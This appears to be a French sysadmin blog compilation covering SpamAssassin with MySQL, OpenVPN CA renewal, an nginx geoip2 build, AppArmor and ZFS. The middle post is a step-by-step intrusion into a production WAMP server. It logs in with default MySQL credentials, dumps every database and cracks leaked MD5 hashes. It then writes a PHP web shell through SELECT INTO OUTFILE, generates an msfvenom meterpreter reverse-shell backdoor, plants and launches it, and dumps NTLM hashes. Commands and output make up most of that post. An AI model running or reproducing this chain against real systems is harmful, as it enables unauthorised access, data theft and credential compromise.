Factoriser l'efficacité des frontaux de mails pour lutter contre le SPAM, en mutualisant les bases Bayes.

On va le faire grâce a MySQL .

~~READMORE~~

Préparer un serveur MySQL…

Dixit la doc: préférer le moteur “MyISAM”.

Les schemas de la base de données sont dans:

• /usr/share/doc/spamassassin/sql/userpref_mysql.sql
• /usr/share/doc/spamassassin/sql/bayes_mysql.sql

En tant que “root”, on va créer les “databases” et puis les “users” :

$ mysql -u root -p 

Créer la database “sa_bayes” :

mysql> create database sa_bayes;

On revient sous le shell, et on créé les tables associés a la base:

$ mysql -u root -p sa_bayes < userpref_mysql.sql
$ mysql -u root -p sa_bayes < bayes_mysql.sql

En fait, ça bloque sur “TYPE=MyISAM”

Pour rectifier, j'ai fait plutôt:

$ sed -e 's/TYPE=MyISAM/ENGINE=MyISAM/' userpref_mysql.sql | mysql -u root -p sa_bayes
$ sed -e 's/TYPE=MyISAM/ENGINE=MyISAM/' bayes_mysql.sql | mysql -u root -p sa_bayes

si possible, préférer: ENGINE=InnoDB

bayes_token.token doit être de type “binary(5)” et pas “char(5)”

On retourne dans MySQL pour créer les “users” :

$ mysql -u root -p 

Comme j'ai 2 frontaux, je créé un compte pour chaque:

mysql> CREATE USER 'sa_user'@'mx0.local.eez.fr' IDENTIFIED BY 'SECRET_1';
mysql> CREATE USER 'sa_user'@'mx1.local.eez.fr' IDENTIFIED BY 'SECRET_2';

Maintenant, definir les droits (limités) de ces utilisateurs.
“mx0” d'abord :

mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON sa_bayes.bayes_token TO 'sa_user'@'mx0.local.eez.fr';
mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON sa_bayes.bayes_vars TO 'sa_user'@'mx0.local.eez.fr';
mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON sa_bayes.bayes_seen TO 'sa_user'@'mx0.local.eez.fr';
mysql> GRANT SELECT, DELETE, INSERT ON sa_bayes.bayes_expire TO 'sa_user'@'mx0.local.eez.fr';
mysql> GRANT SELECT ON sa_bayes.bayes_global_vars TO 'sa_user'@'mx0.local.eez.fr';

Faire de même pour “mx1” …

A quoi sert la table userpref ?

On ne pourra pas migrer toutes les bases des frontaux: il faudra en choisir une parmi les frontaux.

Ceci fait, on devient l'utilisateur qui gère le spam. Chez moi, c'est “debian-spamd” :

# su -s /bin/bash debian-spamd
$

$ cd ~
$ mkdir tmp
$ cd tmp
$ sa-learn --sync
$ sa-learn --backup > backup.txt

Et pour info:

$ sa-learn --dump magic > magic-info.txt

Maintenant, on peut modifier le fichier local.cf : voir section suivante !

Aprés cela, on importe le “backup” dans MySQL comme ça:

$ sa-learn --restore backup.txt

Un petit coup de sa-learn –dump magic , et on retrouvera des informations proche de qu'on a dans le fichier “magic-info.txt”.

Pré-requis:

# aptitude install libdbi-perl libdbd-mysql-perl

Sinon: “bayes: unable to connect to database: DBI module not available”

Dans /etc/spamassassin/local.cf :

bayes_store_module            Mail::SpamAssassin::BayesStore::MySQL

#bayes_sql_dsn                DBI:driver:database:hostname[:port]
bayes_sql_dsn                 DBI:mysql:database=sa_bayes;host=<DBHOST>;

bayes_sql_username            <DBUSER>
bayes_sql_password            <DBPASS>

bayes_sql_override_username   debian-spamd

Si existe, commenter ses lignes comme ça:

# bayes_path xxxxxxxxx
# bayes_file_mode xxxx

Déjà, si vous avez procédé à une restauration du backup avec “sa-learn restore …” (revoir plus haut) , c'est que ça marche .

Ensuite, on peut vérifier que la base est toujours UP en tapant:

$ sa-learn --dump magic

Et enfin, si par malheur la base est indisponible, et bien spamassassin le signale dans les entête de mails par un pathétique autolearn=unavailable et poursuit la livraison du mail: OUF

Comme vous avez suivit mon tuto (humhum) pour installer MySQL avec SSL .

Retour dans MySQL …

$ mysql -u root -p

Récuperer le hash du “password”, car je suis certain que vous l'avez oublié ! Noooon je déconne.

mysql> show grants for sa_user@mx0.local.eez.fr;
.... IDENTIFIED BY PASSWORD '<HASHED_PASSWORD>'

Alors, soit on rajoute que le “SSL”, ce qui est minable:

mysql> GRANT USAGE ON *.* TO 'sa_user'@'mx0.local.eez.fr' IDENTIFIED BY PASSWORD '<HASHED_PASSWORD>' \
       REQUIRE SSL;

Soit, on fait la totale, avec “Sujet” et “Complément” (ou l'inverse?) :

mysql> GRANT USAGE ON *.* TO 'sa_user'@'mx0.local.eez.fr' IDENTIFIED BY PASSWORD '<HASHED_PASSWORD>' \
       REQUIRE SUBJECT '/C=FR/ST=Some-State/L=Paris/O=xxx/OU=xxx/CN=xxx/emailAddress=xxx' \
       AND ISSUER '/C=FR/ST=Some-State/L=Paris/O=xxx/OU=xxx/CN=xxx/emailAddress=xxx';

Dans tout les cas, il faut apporter des modifications à l'option “bayes_sql_dsn” dans /etc/spamassassin/local.cf . Pour exemple:

bayes_sql_dsn DBI:mysql:database=sa_bayes;host=mail.local.eez.fr;mysql_ssl=1;mysql_ssl_ca_file=/var/lib/spamassassin/mysql_certs/mysql-ca-cert.pem;mysql_ssl_client_cert=/var/lib/spamassassin/mysql_certs/mysql-client_mx0-cert.pem;mysql_ssl_client_key=/var/lib/spamassassin/mysql_certs/mysql-client_mx0-key.pem;  

C'est illisible…

• http://svn.apache.org/repos/asf/spamassassin/trunk/sql/README.bayes
• http://wiki.mailscanner.info/doku.php?id=documentation:anti_spam:spamassassin:bayes:sql
• http://technology.mattrude.com/2011/05/configuring-spamassassin-mysql-virtual-users/
• http://notes.sagredo.eu/node/86

Dans les logs d'un client OpenVPN:

... TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed

Sur le serveur:

# openssl verify -CAfile ca.crt server.crt
error 10 at 1 depth lookup:certificate has expired
OK

# openssl x509 -startdate -enddate -noout -in ca.crt
notBefore=Dec 10 23:23:50 2004 GMT
notAfter=Jan  9 23:23:50 2015 GMT

Ok: j'ai le CA (Certificate Authority) qui a expiré… la loose.

UPDATE: 08/06/2019

Pour un certificat “easyrsa/openvpn” :

Il suffit de re-signer un nouveau certificat:

# openssl x509 -in ca.crt -days 3650 -out ca_new.crt -signkey ca.key

Et voila:

# openssl verify -CAfile ca-new.crt server.crt
server.crt: OK

On va créer un nouveau certificat, mais sans changer la clé privé/public.

# openssl req -new -key ca.key -out ca-new.csr
# openssl x509 -req -days 3650 -in ca-new.csr -signkey ca.key -out ca-new.crt

Et c'est bon ?

# openssl verify -CAfile ca-new.crt server.crt
server.crt: OK

Il me reste plus qu'a diffuser le nouveau fichier “ca-new.crt” au serveur et aux clients.

Source: http://serverfault.com/questions/306345/certification-authority-root-certificate-expiry-and-renewal

Republication d'article : source

Le module geoip pour nginx a besoin de base de données à jour pour être pertinent. Ces bases peuvent être téléchargé gratuitement, mais leur format a changé récemment, les rendant incompatible avec le module geoip historique.

C’est là qu’arrive le module geoip2 qui peut lire ce nouveau format, mais hélas, le module pour nginx est actuellement introuvable pour Debian.

Les sources du module geoip2 sont par là:

• https://github.com/leev/ngx_http_geoip2_module

… mais pour qu’il puisse être dynamiquement importé par la version nginx de Debian, il faut recompiler entièrement le package nginx.

Comme vous allez le voir, au final, on ne récupérera que le module ngx_http_geoip2_module.so qui nous intéresse.

Et pour les plus pressé, le module prêt à l’emploi:

• Debian Stretch x64 / nginx-1.10.3-1+deb9u2 : ngx_http_geoip2_module.so.zip

ATTENTION: ce module dépend de la librairie libmaxminddb qui se trouve dans le package Debian nommé libmaxminddb0 .

… et voici une méthode pour générer ce module.

Sources:

• https://raphaelhertzog.fr/2011/07/12/comment-recompiler-un-paquet-debian/

Ce mettre dans un dossier qui va bien pour compiler, par exemple /usr/local/src/ dans lequel on créé un dossier nginx. On y importe les sources:

$ apt-get source nginx/stable

(Dans mon cas, un dossier nommé nginx-1.10.3 est apparu…) On charge les dépendances nécessaires:

$ su -
# apt-get build-dep nginx/stable

A ce stade, on est prêt a recompiler nginx , mais nous devons d’abord faire quelques modifications pour inclure notre module geoip2.

Choisir un dossier, par exemple /usr/local/src/geoip2 dans lequel on exécute la commande git suivante:

# git clone https://github.com/leev/ngx_http_geoip2_module.git

… et un dossier ngx_http_geoip2_module apparaît.

On installe aussi une librairie dont dépend le module:

# apt-get install libmaxminddb-dev

Retour dans le dossier où sont les sources de nginx (pour moi dans /usr/local/src/nginx/nginx-1.10.3/ ) . On doit éditer le fichier debian/rules afin d’inclure la compilation du module geoip2.

Pour cela, j’ai ajouter une ligne --add-dynamic-module=<chemin_source_module> à la toute fin de la déclaration de extras_configure_flags , soit (exemple):

... <snip> ...
 
extras_configure_flags := \
    $(common_configure_flags) \
    --with-http_addition_module \
... <snip> ...
    --add-dynamic-module=$(MODULESDIR)/nginx-upstream-fair \
    --add-dynamic-module=$(MODULESDIR)/ngx_http_substitutions_filter_module \
    --add-dynamic-module=/usr/local/src/geoip2/ngx_http_geoip2_module
 
... <snip> ...

… et c’est tout pour les modifications 🙂 .

(Notez le \ à la toute fin de la ligne précédente. )

Et maintenant, on se repositionne à la base des sources (dans nginx-1.10.3) et on compile:

$ debuild -i -us -uc -b

A la fin, on se retrouve avec des tas fichiers « .deb » du résultat de la compilation.

Mais ce qui nous importe ici, c’est le module geoip2 compilé « à la Debian » , qu’on trouve là:

debian/build-extras/objs/ngx_http_geoip2_module.so

Avant de le distribuer et de l’utiliser, on sera avisé de retirer les informations de debug sans intérêt ici:

$ strip ngx_http_geoip2_module.so

Voila, notre module est maintenant prêt a être utiliser par nginx .

On va maintenant utiliser ce nouveau module sur un serveur avec un service nginx déjà opérationnel. Nous l’avons vu à la compilation, ce module dépend de la librairie libmaxminddb , donc il faut d’abord l’installer:

# apt-get install libmaxminddb0

On télécharge la base GeoLite2-Country.mmdb , qui suffira pour notre exemple, et on la place dans (exemple):

/var/local/geoip2/

Pour notre module, par exemple toujours, on le dépose dans un dossier /etc/nginx/modules-extras qu’on aura préalablement créé.

Notre exemple sera simple, puisqu’il va montrer comment interdire l’accès a un site depuis certains pays.

Dans nginx.conf (extrait) :

load_module /etc/nginx/modules-extras/ngx_http_geoip2_module.so;

http {
    ... <snip> ...
 
    geoip2 /var/local/geoip2/GeoLite2-Country.mmdb {
        $geoip2_data_country_code default=US source=$remote_addr country iso_code;
    }
 
    ... <snip> ...
}

et puis un exemple de configuration pour un site quelconque:

map $geoip2_data_country_code $denied_country {
    default       0;
    RU            OK;
    CN            OK;
    US            OK;
}
 
server {
 
    ... <snip> ...
 
    if ( $denied_country = OK ) {
        return 403;
    }
 
    ... <snip> ...
 
}

Vérifions la configuration :

# nginx -t
# systemctl reload nginx

Voila.

Je vais montrer comment j'ai pu réaliser une infiltration sur un serveur WAMP : “Windows+Apache+MySQL+PHP” .

Ce cas réel ne part d'aucune faille de sécurité, tel qu'on peut l'entendre généralement lorsqu'il s'agit de systèmes à l'abandon et dont les mises à jour de sécurité ne sont plus faites.

Non, ici, il s'agit d'un système en production, hébergeant divers services web, mais dont l'administration est défaillante sur plusieurs points.

Toutes ces petites fêlures me permettent d'escalader le système jusqu'à en prendre le contrôle total…

“Let's Go” pour une exploration en détails…

Après avoir siroté quelques cafés, je voyage dans les Internets tel Ziltoid dans l'espace-temps…
Ayant atterri dans un réseau local, je m’intéresse à un serveur web centralisant et hébergeant plusieurs services collaboratif.

Une première analyse me montre un serveur “WAMP”…

Pour la suite, je nommerai ce serveur “corporate.wtf.com” et son adresse IP sera “172.30.10.15” .

J'utilise « nmap » pour sonder les ports ouverts sur ce serveur :

$ nmap -v -A 172.30.10.15
...
PORT      STATE SERVICE      VERSION                                                                                                                   
80/tcp    open  http         Apache httpd 2.4.37 ((Win64) mod_fcgid/2.3.9)                                                                             
| http-methods:                                                                                                                                        
|_  Supported Methods: GET HEAD POST OPTIONS                                                                                                           
|_http-server-header: Apache/2.4.37 (Win64) mod_fcgid/2.3.9                                                                                            
|_http-title: Did not follow redirect to https://corporate.wtf.com/
...
3306/tcp  open  mysql        MySQL 5.6.27-log
| mysql-info: 
|   Protocol: 10
|   Version: 5.6.27-log
|   Thread ID: 322939
|   Capabilities flags: 63487
|   Some Capabilities: InteractiveClient, Speaks41ProtocolOld, SupportsLoadDataLocal, FoundRows, SupportsTransactions, IgnoreSigpipes, LongColumnFlag, SupportsCompression, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, Support41Auth, Speaks41ProtocolNew, ODBCClient, DontAllowDatabaseTableColumn, LongPassword, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: s&`2v|0svvoJ`(E_3z3+
|_  Auth Plugin Name: 83
...

Je relève qu'il s'agirait d'un serveur “Windows 64 bit”, et 2 services m'intéressent ici:

• “http” port 80
• “mysql” port 3306

Sur le site « http://corporate.wtf.com » , je constate la présence d'un service de “gestion de planning” qui renvoi sur une autre URL du même serveur, là :

• http://booked.wtf.com/Web/index.php

Sur la page d'index de ce service , on peut lire sa version :

© 2016 Twinkle Toes Software
Booked Scheduler v2.5.20 

A partir de cette information, et dans l'idée d'examiner son fonctionnement, je récupère les sources du service :

$ git clone https://git.code.sf.net/p/phpscheduleit/2.5 phpscheduleit-2.5

Dans la configuration par défaut « phpscheduleit-2.5/config/config.dist.php » , on trouve les informations suivantes (extrait) :

/**
 * Database configuration
 */
$conf['settings']['database']['type'] = 'mysql';
$conf['settings']['database']['user'] = 'booked_user';        // database user with permission to the booked database
$conf['settings']['database']['password'] = 'password';
$conf['settings']['database']['hostspec'] = '127.0.0.1';        // ip, dns or named pipe
$conf['settings']['database']['name'] = 'bookedscheduler';

Je teste le « user » et « password » par défaut sur le serveur cible :

$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "show databases"
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| phpscheduleit      |
+--------------------+

BINGO : L’identifiant par défaut fonctionne !

Voici la liste des comptes présent sur le service “MySQL” :

$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "select Host,User,Password from mysql.user"
+-----------+-------------+-------------------------------------------+
| Host      | User        | Password                                  |
+-----------+-------------+-------------------------------------------+
| localhost | root        | *6491................................9F4E |
| 127.0.0.1 | root        | *6491................................9F4E |
| ::1       | root        | *6491................................9F4E |
| %         | booked_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
| 127.0.0.1 | booked_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------+-------------+-------------------------------------------+
$

(Je masque ci-dessus le « hash » du compte « root » uniquement)

Le compte « booked_user » a un accès total a toutes les bases :

$ mysql -u booked_user -ppassword --host 172.30.10.15 -e "SHOW GRANTS FOR 'booked_user'"
+---------------------------------------------------------------------------------------------------------------------------------------+
| Grants for booked_user@%                                                                                                              |
+---------------------------------------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'booked_user'@'%' IDENTIFIED BY PASSWORD '*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19' WITH GRANT OPTION |
+---------------------------------------------------------------------------------------------------------------------------------------+

Je récupère l'ensemble des bases :

$ mysqldump -u booked_user -ppassword --host 172.30.10.15 --all-databases | gzip -c > booked_phpscheduleit_wtf.sql.gz
$

Grâce a des petits scripts et des logiciels comme “DirBuster” , je commence a étudier l'arborescence du site, et très vite, des fichiers intéressants sont découverts:

A la racine du site , je découvre un fichier “test.php” qui exécute la fonction “phpinfo()” :

• http://corporate.wtf.com/test.php

Grâce a cela, je découvre quelques informations, et notamment :

Encore à la racine du site , je découvre des “logs” d'erreurs sous forme de fichiers “.dat”.

• http://corporate.wtf.com/errorslog.dat

Son contenu me sera utile plus loin.

Entre autres choses, je trouve un fichier nommé “logins.dat” de plus 15 ans d'âge, et contenant des logins avec les mots de passe “hashé” en “md5” …

Pas besoin de faire appel à “John” : 21 mots de passes (sur 22 présents) sont “craqués” immédiatement et simplement en passant par le site https://hashkiller.co.uk/md5-decrypter.aspx …

Et l'un des comptes me donne les pleins pouvoirs sur un service “IT Asset Management” pour la gestion du parc informatique …

Passons.

J'ai d'abord essayé d'injecter un simple test en « php » en un point de l’arborescence où je peux lister le contenu du dossier, par exemple ici :

• http://corporate.wtf.com/Communication/News/cal/

Grâce a « phpinfo() », j'en déduis que le répertoire associé est :

• E:\WWW_Root\htdocs_corporate\Communication\News\cal

Je m'essaye à la création d’un petit script nommé « t.php » :

$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php phpinfo(); ?>" INTO OUTFILE "E:\WWW_Root\htdocs_corporate\Communication\News\cal\t.php"'
ERROR 1290 (HY000) at line 1: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
$

J'ai une erreur a cause d'une sécurité en place:

$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'SHOW VARIABLES LIKE "secure_file_priv"'Variable_name   Value
secure_file_priv        E:\\MySQL Datafiles\\Uploads\\

Le dossier “E:\MySQL Datafiles\Uploads” est le seul pouvant recevoir des fichiers par l'intermédiaire de « MySQL » .

J'ai examiné un peu mieux le fonctionnement du site « corporate.wtf.com » et j'ai finalement découvert une méthode pour forcer l'exécution de codes “php” depuis n'importe où sur le système.

D'abord, grâce aux informations contenus dans les fichiers de log d'erreurs découvert précédemment et que j'ai pu récupérer à la racine du site:

$ wget http://corporate.wtf.com/errorslog.dat

Dans le fichier “errorslog.dat”, je trouve des liens construit comme ceci :

...
Source : http://corporate.wtf.com/Communication/HR/Event/2015-11-10/index11.html
...

Sur le site en ligne , je vois aussi des liens formaté comme ça:

• http://corporate.wtf.com/index.php?vol=Communication&rub=HR&art=Home

Après plusieurs tests de l'arborescence du site, je devine une construction comme suit:

• /Communication/HR/Home.php

Je vérifie cette hypothèse simplement :

$ curl -I 'http://corporate.wtf.com/Communication'
HTTP/1.1 301
...
$ curl -I 'http://corporate.wtf.com/Communication/HR'
HTTP/1.1 301
...
$ curl -I 'http://corporate.wtf.com/Communication/HR/Home.php'
HTTP/1.1 500
...

Les dossiers existent, car je n'obtiens pas un code « 404 » (« Not Found »). Le fichier « Home.php » existe aussi, mais mon accès direct (sans les bons arguments que je ne connais pas) génère ici une erreur fatale.

Donc, « vol » et « rub » sont des niveaux d'arborescences, et « art » est le fichier « .php » a exécuter (sans ajouter l'extension).

Je peux vérifier cette hypothèse en effectuant la requête suivante :

$ curl 'http://corporate.wtf.com/?vol=.&rub=.&art=index'

Je constate alors que cette requête génère une pseudo-boucle infinie où l’index « index.php » s'appelle lui même…

Grâce a ma précédente découverte de la fonction « phpinfo() » dans « test.php », je constate aussi que la requête suivante fonctionne :

• http://corporate.wtf.com/?vol=.&rub=.&art=test

Je peux vérifier en jouant avec les arguments « vol » et « rub » pour désigner un fichier « .php » n'importe où sur le système:

• http://corporate.wtf.com/?vol=E:\WWW_Root&rub=htdocs_corporate&art=test

Et “phpinfo()” retourne (entre autres):

...
_GET["vol"] E:\WWW_Root
_GET["rub"] htdocs_corporate
_GET["art"] test
...

Cette fois, je peux reprendre l'injection de fichiers « .php » , dans le « bon » dossier:

$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php phpinfo(); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t.php"'

Le fichier est déposé sans erreur. Je peux maintenant tester et constater que j'ai exécuté ce script “t.php”.

• http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t

J'injecte un nouveau script nommé “t2.php” pour faire un premier examen:

Ce script attend simplement une commande a exécuter en argument de la variable “cmd”.

$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -B -e 'select "<?php system($_GET[''cmd'']); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t2.php"'

Avec la commande “dir”, je liste la racine du site « corporate » :

$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t2&cmd=dir'
...
...
 Volume in drive C is Disk_E
                                    
 Volume Serial Number is 668F-570E
                                    
                                                 
 Directory of E:\WWW_Root\htdocs_corporate
                                      
20..-..-..  05:25 PM    <DIR>          . 
20..-..-..  05:25 PM    <DIR>          ..     
20..-..-..  05:14 PM    <DIR>          Applications
20..-..-..  04:33 PM    <DIR>          Communication
...
2015-01-28  10:49 AM              2828 index.php
2011-12-19  11:36 AM                21 test.php
...
20..-..-..  04:20 PM    <DIR>          _
20..-..-..  08:47 AM         3825957 errorslog.dat
...

(Ci-dessus, extrait de la commande “dir” largement charcuté a coup de “..” ou “…” .)

Et je constate que le service “PHP” fonctionne avec les droits « Administrateur » :

$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t2&cmd=whoami'
...
nt authority\system
...

D’autres scripts « PHP » seront installés pour vérifier l'infiltration : je n'entrerais pas dans ces fouillisdétails techniques ici.

Petit rappel pour créer une « backdoor » grâce aux outils « metasploit » :

$ export PAYLOAD_X64=windows/x64/meterpreter/reverse_tcp
$ export LHOST=172.30.x.x
$ export LPORT=443
$ msfvenom -a "x64" --platform "windows" -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -e x64/zutto_dekiru -i 9 -f exe-only > wtf.exe

(Ci-dessus, je cache ma propre adresse IP par « 172.30.x.x »)

Et puis en vrai, j'ai d'abord installé une “backdoor” composé par mes soins… Mais la méthode ci-dessus fonctionne aussi parce que finalement, SPOILER : ce serveur n'a pas d' “antivirus” .

Je transforme la « backdoor » en son expression en hexadécimal dans un fichier nommé ici « wtf_hex.txt » :

$ xxd -p wtf.exe | tr '[[:lower:]]' '[[:upper:]]' | tr -d '\n' > wtf_hex.txt

Et j'injecte la « backdoor » sur le serveur en utilisant les fonctionnalités de « MySQL », c’est à dire :

• Création d’une table temporaire avec une colonne « BLOB »
• Importation du contenu hexadécimal et conversion en binaire
• Export du contenu binaire sur le serveur

$ mysql --user=booked_user --password=password --host 172.30.10.15 phpscheduleit

MySQL [phpscheduleit]> CREATE TEMPORARY TABLE IF NOT EXISTS foo ( id INT NOT NULL, payload BLOB NOT NULL );
Query OK, 0 rows affected (0.00 sec)

MySQL [phpscheduleit]> LOAD DATA LOCAL INFILE "./wtf_hex.txt" INTO TABLE foo (@hexCol) SET id=0,payload=UNHEX(@hexCol);
Query OK, 1 row affected (0.00 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 0

MySQL [phpscheduleit]> SELECT payload FROM foo WHERE id=0 INTO DUMPFILE "E:\\MySQL Datafiles\\Uploads\\wtf.exe";
Query OK, 1 row affected (0.00 sec)

MySQL [phpscheduleit]> DROP TABLE foo;
Query OK, 0 rows affected (0.00 sec)

MySQL [phpscheduleit]>

Ma « backdoor » « wtf.exe » est sur le serveur.

J'injecte enfin un nouveau script « php » pour démarrer cette « backdoor ».

$ mysql -u booked_user -ppassword --host 172.30.10.15 phpscheduleit -e 'select "<?php error_reporting(0); system(\"E:\\MySQL Datafiles\\Uploads\\wtf.exe\"); die(); ?>" INTO OUTFILE "E:\\MySQL Datafiles\\Uploads\\t7.php"'

Je prépare l'interaction avec « meterpreter » depuis une console « msfconsole » :

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
... etc ...

Et puis je démarre ma « backdoor » sur le serveur « corporate ».

$ curl 'http://corporate.wtf.com/?vol=E:\\&rub=\\&art=MySQL%20Datafiles\\Uploads\\t7'

Du côté de « msfconsole » , je récupère la session :

msf4 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\System
meterpreter > sysinfo
Computer        : WTFWEB2
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d246........................7114:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >

(« hash ntlm » du compte « Administrateur » partiellement caché ici)

Voila: J'ai les pleins pouvoirs sur le serveur « corporate.wtf.com ».

Republication d'article : source

Dans les logs, tout plein de:

[mer. jan 10 22:49:11 2019] audit: type=1400 audit(1548884940.162:98): apparmor="DENIED" operation="mknod" profile="/usr/sbin/named" name="/etc/bind/SLAVE/tmp-8tAieH8oKP" pid=716 comm="isc-worker0000" requested_mask="c" denied_mask="c" fsuid=113 ouid=113

Sources:

• https://wiki.debian.org/AppArmor/HowToUse
• https://debian-handbook.info/browse/fr-FR/stable/sect.apparmor.html

Voyons l’état des applications:

# aa-status 
apparmor module is loaded.
7 profiles are loaded.
7 profiles are in enforce mode.
   /usr/bin/man
   /usr/sbin/named
   /usr/sbin/ntpd
   man_filter
   man_groff
   nvidia_modprobe
   nvidia_modprobe//kmod
0 profiles are in complain mode.
2 processes have profiles defined.
2 processes are in enforce mode.
   /usr/sbin/named (716) 
   /usr/sbin/ntpd (722) 
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.

Pour éliminer ce message, et certainement mieux faire fonctionner Bind/Named dans un environnement sécurisé, j’ai modifié le fichier /etc/apparmor.d/usr.sbin.named en ajoutant (extrait):

...
  /etc/bind/** r,
  # --- TJ -----------
  /etc/bind/SLAVE/* rw,
  # ------------------
  /var/lib/bind/** rw,
...

… ce qui autorise les écritures dans le dossier /etc/bind/SLAVE/ .

Il faut appliquer les modifications comme ceci

# apparmor_parser -r /etc/apparmor.d/usr.sbin.named

Finalement, le mieux est peut être simplement de s’inspirer de la configuration apparmor et d’utiliser les répertoires laisser en mode rw …

Dans ce cas, il suffit de déplacer le dossier /etc/bind/SLAVE dans le dossier /var/lib/bind/SLAVE . Évidement , cela implique d’adapter aussi la configuration de bind partout où c’est nécessaire.

Voila.

Republication d'article : source

Créer la base:

$ mysql -u root -p
mysql> create database sa_txrep;

Préparer mysql/mariadb a se manger un gros index:

mysql> SET GLOBAL innodb_file_format=Barracuda;
mysql> SET GLOBAL innodb_file_per_table=ON;
mysql> SET GLOBAL innodb_large_prefix=1;

Sinon, il pourrait y avoir une erreur comme ça au moment de « CREATE TABLE » :

ERROR 1071 (42000): Specified key was too long; max key length is 767 bytes

Retour sous shell est création de la table txrep :

$ dpkg -S txrep_mysql.sql
$ cat /usr/share/doc/spamassassin/sql/txrep_mysql.sql
CREATE TABLE txrep (username varchar(100) NOT NULL default '', \
    email varchar(255) NOT NULL default '', \
    ip varchar(40) NOT NULL default '', \
    count int(11) NOT NULL default '0', \
    totscore float NOT NULL default '0', \
    signedby varchar(255) NOT NULL default '', \
    last_hit timestamp NOT NULL default CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, \
    PRIMARY KEY (username,email,signedby,ip), \
    KEY last_hit (last_hit)) ENGINE=InnoDB ROW_FORMAT=DYNAMIC;

ATTENTION: ajouter ROW_FORMAT=DYNAMIC après ENGINE=InnoDB .

Source: https://stackoverflow.com/questions/43379717/how-to-enable-large-index-in-mariadb-10

$ mysql -u root -p sa_txrep < txrep_mysql.sql

On donne les droits sur cette table:

mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON sa_txrep.txrep TO 'sa_user'@'mx0.local.eez.fr';
mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON sa_txrep.txrep TO 'sa_user'@'mx1.local.eez.fr';

Dans spamassassin …

# txrep
txrep_factory Mail::SpamAssassin::SQLBasedAddrList
user_awl_dsn DBI:mysql:database=sa_txrep;host=mail.local.eez.fr;
user_awl_sql_username sa_user
user_awl_sql_password user_awl_sql_table txrep
use_txrep 1

Sources:

• https://svn.apache.org/repos/asf/spamassassin/trunk/sql/README.txrep
• https://reload.eez.fr/blog:2013:09:05:spamassassin_awl_avec_mysql
• https://reload.eez.fr/blog:2013:08:13:spamassassin_bayes_avec_mysql

Republication d'article : source

Il s’agit juste d’une prise de notes rapides sur l’installation et l’utilisation de « ZFS » sous Debian. Je survole très vite ce formidable système de fichiers (et de disques)…

Si je reste en surface de « ZFS » , c’est parce que j’y ai vu des limites majeures, dont les suivantes:

• Pas de « shrink » possible.
• Pas de « defrag » possible, alors que les perfs s’écrouleraient a l’approche des 90% de remplissage.
• Pas d’intégration complète dans »Debian ». (module « zfs » a compiler)
• Pas de support des « reflinks », aka: « cp –reflinks=always …«

Après, le reste, c’est super: le « RAID », la compression, les « snapshots » …

Mais, « Btrfs » existe déjà, avec quelques défauts aussi, mais pas ceux que j’ai listé pour « ZFS ».

Donc, bref, quoi: voici quelques notes sur « ZFS », et puis je vais voir ailleurs.

∗∗∗ Prévoir un peu de temps, ça va compiler ∗∗∗

De mon expérience, installer d’abord le package « spl-dkms »:

# apt-get install spl-dkms

… puis, installer « zfs »:

# apt-get install zfs-dkms

Et a la fin, si tout va bien !

# modprobe zfs

Mais y a des services qui ne fonctionnent pas:

# systemctl --failed
UNIT LOAD ACTIVE SUB DESCRIPTION
● zfs-mount.service loaded failed failed Mount ZFS filesystems
● zfs-share.service loaded failed failed ZFS file system shares
● zfs-zed.service loaded failed failed ZFS Event Daemon (zed)
...

Donc, les démarrer:

# systemctl start zfs-mount
# systemctl start zfs-share
# systemctl start zfs-zed

Pour ma part, j’ai ajouté « zfs » dans les modules a charger au « boot », en ajoutant dans « /etc/modules« : zfs

Avant de poursuivre, c’est bien de « rebooter » et de vérifier qu’on a rien a cassé.

Pour mes tests, je m’appuie sur « LVM » pour créer des disques. En pratique, il paraît que c’est mieux de jouer avec des vrais disques…

# lvcreate -L 5G -n ZPOOL1 vg0

Maintenant, je créé le « pool »:

# zpool create -m none zpool1 /dev/vg0/ZPOOL1

Sans le « -m none » , « ‘ZFS » a la sale manie (oui oui) de monter le « pool » a la racine !

